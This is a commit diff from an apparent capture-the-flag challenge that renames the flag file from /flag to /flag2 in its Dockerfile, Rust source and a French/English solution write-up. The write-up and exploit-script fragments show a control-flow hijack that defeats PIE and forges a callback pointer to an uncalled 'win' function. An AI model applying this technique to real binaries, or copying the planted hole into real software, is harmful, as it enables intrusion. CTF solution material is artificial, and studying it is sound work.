feat: rename /flag -> /flag2

Author: Vianpyro

Dockerfile

@@ -10,7 +10,7 @@ RUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs \
 ENV PATH="/root/.cargo/bin:${PATH}"
 
 ARG FLAG2
-RUN printf '%s\n' "${FLAG2}" > /flag && chmod 444 /flag
+RUN printf '%s\n' "${FLAG2}" > /flag2 && chmod 444 /flag2
 
 COPY . /build/
 WORKDIR /build
@@ -24,7 +24,7 @@ RUN apt-get update && apt-get install -y socat \
     && useradd -m -s /bin/bash ctf
 
 COPY --from=build /build/target/release/nanolog /challenge/nanolog
-COPY --from=build /flag /flag
+COPY --from=build /flag2 /flag2
 
 RUN chmod 755 /challenge/nanolog \
     && chown -R ctf:ctf /challenge

solution/flag2/README.md

@@ -92,13 +92,13 @@ Le code source contient une fonction qui n'est appelée nulle part :
 
 ```rs
 fn win(_ctx: *const u8) {
-    if let Ok(flag) = std::fs::read_to_string("/flag") {
+    if let Ok(flag) = std::fs::read_to_string("/flag2") {
         // imprime le flag
     }
 }
 ```
 
-`win` lit `/flag` et l'imprime. Elle n'est jamais invoquée par le programme :
+`win` lit `/flag2` et l'imprime. Elle n'est jamais invoquée par le programme :
 le seul moyen de l'atteindre est de détourner le flot d'exécution vers elle.
 
 Si on écrit `&win` dans `callback`, alors `admin_show` exécutera `win` et le
@@ -149,7 +149,7 @@ win_runtime = base_PIE + offset_statique(win)
 
 `offset_statique(win)` se lit, comme pour `banner`, dans le binaire. (Dans le
 binaire livré, strippé, `win` se reconnaît à son appel à `read_to_string` /
-ouverture de `/flag`.)
+ouverture de `/flag2`.)
 
 ### Forge du `Some(win)`
 
@@ -165,7 +165,7 @@ Côté `AdminRecord`, `callback` vaut maintenant `Some(win)`.
 ### Déclenchement
 
 `admin_show(0)` lit `Some(cb)` avec `cb == win`, et appelle `cb(ptr)`. `win`
-lit `/flag` et l'imprime.
+lit `/flag2` et l'imprime.
 
 > Détail sur l'alignement : l'appel indirect saute à l'entrée de `win`, une
 > fonction Rust ordinaire dont le prologue rétablit l'alignement de pile avant
@@ -253,13 +253,13 @@ The source contains a function called nowhere:
 
 ```rs
 fn win(_ctx: *const u8) {
-    if let Ok(flag) = std::fs::read_to_string("/flag") {
+    if let Ok(flag) = std::fs::read_to_string("/flag2") {
         // prints the flag
     }
 }
 ```
 
-`win` reads and prints `/flag`. The only way to reach it is to hijack control
+`win` reads and prints `/flag2`. The only way to reach it is to hijack control
 flow into it. Writing `&win` into `callback` makes `admin_show` execute `win`.
 
 ### The obstacle: PIE and ASLR
@@ -289,7 +289,7 @@ win_runtime = base_PIE + static_offset(win)
 ```
 
 In the stripped shipped binary, identify `win` by its `read_to_string` /
-`/flag` open call.
+`/flag2` open call.
 
 ### Forging `Some(win)`
 
@@ -300,7 +300,7 @@ payload[8:16] = struct.pack("<Q", win_runtime)  # callback = Some(win)
 
 ### Trigger
 
-`admin_show(0)` calls `cb(ptr)` with `cb == win`; `win` prints `/flag`.
+`admin_show(0)` calls `cb(ptr)` with `cb == win`; `win` prints `/flag2`.
 
 > Alignment note: the indirect call lands at `win`'s entry, an ordinary Rust
 > function whose prologue restores stack alignment before any inner call.
@@ -393,7 +393,7 @@ log.success(f"Flag 1 : {p.recvline().strip().decode()}")
 # Flag 2 : forge Some(win) a l'offset 8
 payload[8:16] = struct.pack("<Q", win_rt)
 edit_ref(p, 0, bytes(payload))
-p.sendline(b"9")               # admin_show -> cb == win -> imprime /flag
+p.sendline(b"9")               # admin_show -> cb == win -> imprime /flag2
 p.sendlineafter(b"Enter index: ", b"0")
 
 data = p.recvall(timeout=3)

src/lib.rs

@@ -25,7 +25,7 @@ fn banner(_ctx: *const u8) {}
 
 fn win(_ctx: *const u8) {
     use std::io::Write;
-    if let Ok(flag) = std::fs::read_to_string("/flag") {
+    if let Ok(flag) = std::fs::read_to_string("/flag2") {
         let stdout = std::io::stdout();
         let mut h = stdout.lock();
         let _ = writeln!(h, "{}", flag.trim());

src/main.rs

@@ -16,7 +16,7 @@ const WELCOME_MESSAGE: &str = "\
 
 fn main() -> io::Result<()> {
     std::env::var("FLAG1").expect("FLAG1 environment variable not set -- refusing to start");
-    std::fs::read_to_string("/flag").expect("/flag file not found or empty -- refusing to start");
+    std::fs::read_to_string("/flag2").expect("/flag2 file not found or empty -- refusing to start");
 
     println!("{WELCOME_MESSAGE}");